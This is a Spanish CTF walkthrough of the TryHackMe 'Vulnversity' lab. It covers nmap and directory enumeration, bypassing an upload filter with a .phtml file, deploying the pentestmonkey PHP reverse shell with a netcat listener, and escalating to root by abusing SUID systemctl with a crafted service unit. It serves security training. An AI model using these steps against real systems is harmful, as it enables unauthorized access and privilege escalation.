Vulnversity
On this page
- Reconocimiento
- Escanea la máquina, ¿cuántos puertos están abiertos?
- ¿Qué versión del proxy se está ejecutando en la máquina?
- ¿Cuántos puertos escaneará nmap si se usó la bandera -p-400?
- Usando el indicador nmap -n, ¿qué no resolverá?
- ¿Cuál es el sistema operativo más probable que esté ejecutando esta máquina?
- ¿En qué puerto se está ejecutando el servidor web?
- Localizando subdirectorios
- Comprometer el servidor web
- ¿Qué tipo de archivo común, que le gustaría cargar para explotar el servidor, está bloqueado? Prueba un par para averiguarlo.
- Escalada de privilegios
- Reconocimiento
December 18, 20227 minutes
Aprende sobre el reconocimiento activo, los ataques a aplicaciones web y la escalada de privilegios.
https://tryhackme.com/room/vulnversity
IP Atacante = 10.10.10.10
IP víctima = 10.10.23.174
Reconocimiento
Para la fase de Reconocimiento vamos a usar nmap.
¿Qué es nmap?
nmap es una herramienta potente, gratuita y de código abierto que se utiliza para descubrir hosts y servicios en una red informática. En nuestro ejemplo, usamos nmap para escanear esta máquina e identificar todos los servicios que se ejecutan en un puerto en particular. nmap tiene muchas capacidades, a continuación hay una tabla que resume algunas de las funciones que proporciona.
Parámetros típicos nmap:
Parámetro | Función |
---|---|
-p- | Para que el escaneo sea a todos los puertos (65536) |
-p’port' | Escanear unos puertos en específico |
–open | Para que solo reporte los puertos abiertos |
-sS –min-rate 5000 | Definir el tiempo del escaneo |
-n | Omitir resolución DNS |
-vvv | Para que vaya reportando lo que encuentre por consola |
-Pn | Skip host discovery |
-oG archivo | Para que guarde el escaneo en format grepeable en un archivo llamado archivo |
-sC | Para que realice scripts básicos de reconocimiento |
-sV | Proporciona la versión e información de los servicios que corren por los puertos |
Escanea la máquina, ¿cuántos puertos están abiertos?
❯ nmap -p- 10.10.23.174
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds
3128/tcp open squid-http
3333/tcp open dec-notes
Tiene un total de 6 puertos abiertos
¿Qué versión del proxy se está ejecutando en la máquina?
❯ nmap -p21,22,139,445,3128,3333 -sV 10.10.23.174
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3128/tcp open http-proxy Squid http proxy 3.5.12
3333/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
En el puerto 3128 se puede ver la version de la proxy 3.5.12
¿Cuántos puertos escaneará nmap si se usó la bandera -p-400?
Como se indica en el parámetro (-p-400), Escaneara 400 puertos
Usando el indicador nmap -n, ¿qué no resolverá?
Con él -n
no hacer DNS
¿Cuál es el sistema operativo más probable que esté ejecutando esta máquina?
❯ nmap -p21,22,139,445,3128,3333 -sV 10.10.23.174
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3128/tcp open http-proxy Squid http proxy 3.5.12
3333/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
En el puerto 3333 indica que es un Ubuntu
¿En qué puerto se está ejecutando el servidor web?
❯ nmap -p21,22,139,445,3128,3333 -sV 10.10.23.174
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3128/tcp open http-proxy Squid http proxy 3.5.12
3333/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
El servidor web se está ejecutando por el puerto 3333
Localizando subdirectorios
Para esta parte vamos a buscar directorios con gobuster
y wfuzz
usando el diccionario /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
¿Cuál es el directorio que tiene una página de formulario de carga?
GoBuster
GoBuster es una herramienta utilizada para la fuerza bruta de URI (directorios y archivos), subdominios DNS y nombres de host virtual. Para esta máquina, nos centraremos en usarla para directorios de fuerza bruta.
Parámetro | Función |
---|---|
-e | Imprima las URL completas en su consola |
-u | La URL de destino |
-w | Ruta a tu diccionario |
-U y -P | Nombre de usuario y contraseña para autenticación básica |
-p’x' | Proxy a utilizar para las solicitudes |
-c ‘http cookies’ | Especifique una cookie para simular su autenticación |
❯ gobuster dir -u http://10.10.23.174:3333 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
2022/12/18 01:37:49 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 320] [--> http://10.10.23.174:3333/images/]
/css (Status: 301) [Size: 317] [--> http://10.10.23.174:3333/css/]
/js (Status: 301) [Size: 316] [--> http://10.10.23.174:3333/js/]
/fonts (Status: 301) [Size: 319] [--> http://10.10.23.174:3333/fonts/]
/internal (Status: 301) [Size: 322] [--> http://10.10.23.174:3333/internal/]
Probando desde un navegador los directorios que reporto, el directorio en el que se pueden subir archivos es: internal
wfuzz
Wfuzz fue creado para facilitar la tarea en las evaluaciones contra aplicaciones web, y está basado en un concepto simple; reemplaza cualquier referencia a la palabra clave FUZZ, por el valor del payload (carga útil) definido.
Un payload en Wfuzz es una fuente de datos.
Este concepto simple permite cualquier entrada sea inyectada en cualquier campo de una petición HTTP, permitiendo realizar ataques complejos de seguridad web en diferentes componentes de la aplicación web, como parámetros, formularios, directorios/archivos, cabeceras, etc.
Parámetro | Función |
---|---|
-c | Para que lo reporte todo con colores |
-t | Para configurar el tiempo |
–hc=404 | Para que no reporte los subdirectorios que no existan |
-w | Es donde se indica el diccionario |
FUZZ | Se escribe donde quieres aplicar el diccionario |
❯ wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.23.174:3333/FUZZ
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000550: 301 9 L 28 W 317 Ch "css"
000000953: 301 9 L 28 W 316 Ch "js"
000002771: 301 9 L 28 W 319 Ch "fonts"
000002984: 301 9 L 28 W 322 Ch "internal"
000095524: 403 11 L 32 W 302 Ch "server-status"
Probando desde un navegador los directorios que reporto, el directorio en el que se pueden subir archivos es: internal
Comprometer el servidor web
¿Qué tipo de archivo común, que le gustaría cargar para explotar el servidor, está bloqueado? Prueba un par para averiguarlo.
La respuesta es .php
¿Qué extensión está permitida?
Para identificar qué extensiones no están bloqueadas, vamos a fuzzear el formulario de carga. Para hacer esto, vamos a usar BurpSuite.
Primero vamos a capturar la petición, enviarlo al intruder y definir la extensión como una variable
En el apartado de payloads vamos a definir las extensiones que queremos que pruebe
Ahora ya le podemos dar a attack.
Si nos fijamos en la columna de length podemos ver que en todas sale lo mismo menos una. Eso significa que con él .phtml no nos ha devuelto el mismo mensaje, se puede suponer que lo ha aceptado
¿Cuál es el nombre del usuario que administra el servidor web?
Viendo que podemos subir .phtml vamos a mandarle un archivo para crear una reverse shell, vamos a usar https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php de pentestmonkey
# Nos lo pasamos a nuestra máquina
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
# Le cambiamos la extensión
mv php-reverse-shell.php php-reverse-shell.phtml
Importante cambiar estas líneas
$ip = '127.0.0.1'; // Ip de tú máquina
$port = 1234; // Puerto en el que te vas a poner en escucha
Nos ponemos en escucha por el puerto 443 con netcat
nc -nlvp 443
Ahora ya podemos ejecutar el archivo poniendo lo siguiente en el navegador
http://10.10.23.174:3333/internal/uploads/php-reverse-shell.phtml
Antes para trabajar mejor vamos a hacer un tratamiento de la terminal con los siguientes comandos:
script /dev/null -c bash
ctrl + z
stty raw -echo; fg
reset
xterm
export SHELL=bash
export TERM=xterm
Ahora en /home/bill/user.txt ya podemos ver la flag y ya sabemos que el nombre de quien administra el servidor web es bill
Escalada de privilegios
En Linux, SUID (establecer el ID de usuario del propietario en la ejecución) es un tipo especial de permiso de archivo otorgado a un archivo. SUID otorga permisos temporales a un usuario para ejecutar el programa/archivo con el permiso del propietario del archivo (en lugar del usuario que lo ejecuta).
Por ejemplo, el archivo binario para cambiar su contraseña tiene el bit SUID (/usr/bin/passwd). Esto se debe a que para cambiar su contraseña, deberá escribir en el archivo shadowers al que no tiene acceso, root sí, por lo que tiene privilegios de root para realizar los cambios correctos.
En el sistema, busque todos los archivos SUID. ¿Qué archivo se destaca?
Con find / -perm -4000 -exec ls -ldb {} \; 2>/dev/null
podemos ver los archivos con permisos suid. La respuesta es /bin/systemctl
Conviértase en root y obtenga la última flag (/root/root.txt)
Ejecutando lo siguiente y después haciendo un cat a /tmp/output podemos ver la flag
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
/bin/systemctl link $TF
/bin/systemctl enable --now $TF
cat /tmp/output